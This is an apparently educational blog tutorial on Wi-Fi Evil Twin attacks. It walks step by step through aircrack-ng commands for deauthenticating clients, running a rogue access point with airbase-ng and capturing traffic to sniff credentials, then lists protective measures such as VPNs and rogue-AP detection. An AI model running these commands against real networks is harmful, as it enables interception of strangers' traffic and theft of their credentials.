Evil Twin Attack: Technical Details and How to Protect Yourself

Evil Twin Attack: Technical Details and How to Protect Yourself

Introduction

With the widespread use of Wi-Fi networks today, security threats targeting these networks have become increasingly sophisticated. One of the most dangerous attacks is the Evil Twin Attack, where an attacker sets up a fake Wi-Fi access point mimicking a legitimate network to intercept sensitive user data. Understanding this attack and how it works is essential for cybersecurity professionals and users alike.

---

What is an Evil Twin Attack?

An Evil Twin Attack is a Layer 2 wireless attack where an attacker creates a rogue access point (AP) that impersonates a legitimate Wi-Fi network by using the same SSID (network name). Users unknowingly connect to this fake AP, allowing the attacker to intercept, monitor, and potentially manipulate their traffic.

---

Technical Execution of the Attack

Step 1: Preparing the Wireless Interface in Monitor Mode

Use airmon-ng to kill interfering processes and enable monitor mode on your wireless adapter:

sudo airmon-ng check kill

sudo airmon-ng start wlan0

Note: Replace wlan0 with your interface name (iwconfig helps find it).

Step 2: Scanning for Target Networks

Identify target Wi-Fi networks:

sudo airodump-ng wlan0mon

This command lists available networks with SSIDs, BSSIDs (MAC addresses), and channels. Choose the target network.

Step 3: Deauthentication Attack to Disconnect Clients

Force users to disconnect from the legitimate network to lure them into connecting to your fake AP:

sudo aireplay-ng --deauth 10 -a <BSSID> wlan0mon

--deauth 10: sends 10 deauth packets.

<BSSID>: MAC address of the legitimate AP.

Step 4: Creating the Evil Twin Access Point

Create the rogue AP with the same SSID and channel:

sudo airbase-ng -e "<SSID>" -c <channel> wlan0mon

-e "<SSID>": sets the SSID (same as legitimate).

-c <channel>: channel number.

Step 5: Enabling Network Interface and DHCP

Bring up the virtual interface and request an IP:

sudo ip link set at0 up

sudo dhclient at0

at0 is the interface created by airbase-ng.

Step 6: Intercepting and Analyzing Traffic

Use Wireshark or tcpdump on at0 to capture network traffic:

sudo wireshark -i at0

Analyze packets to extract unencrypted sensitive information or sniff credentials.

---

Exploitation Techniques

Credential Theft: Intercept usernames and passwords sent in plaintext.

Malware Injection: Modify HTTP responses to inject malware or phishing pages.

User Activity Tracking: Monitor browsing habits and visited URLs.

Voice/Video Interception: Capture unencrypted VoIP or video calls.

---

Advanced Protection Measures

1. Use a Reliable VPN

Encrypt all traffic, making intercepted data useless to attackers.

2. Check for HTTPS and Valid Certificates

Ensure websites use HTTPS and verify certificates to prevent MITM attacks.

3. Avoid Public Wi-Fi for Sensitive Transactions

Prefer cellular data or trusted networks.

4. Employ Tools to Detect Rogue APs

Apps like WiFi Guard, NetSpot, or Kismet help identify fake APs.

5. Enable Two-Factor Authentication (2FA)

Adds a layer of security even if credentials are compromised.

6. Regularly Update Software and Firmware

Patch vulnerabilities promptly.

---

Tools Commonly Used

Aircrack-ng Suite: Includes airmon-ng, aireplay-ng, and airbase-ng for wireless attacks.

Wireshark: Packet capture and analysis.

Hostapd: Advanced AP creation and management.

Karma: Tool to automatically respond to probe requests for fake APs

Stay safe ....❤️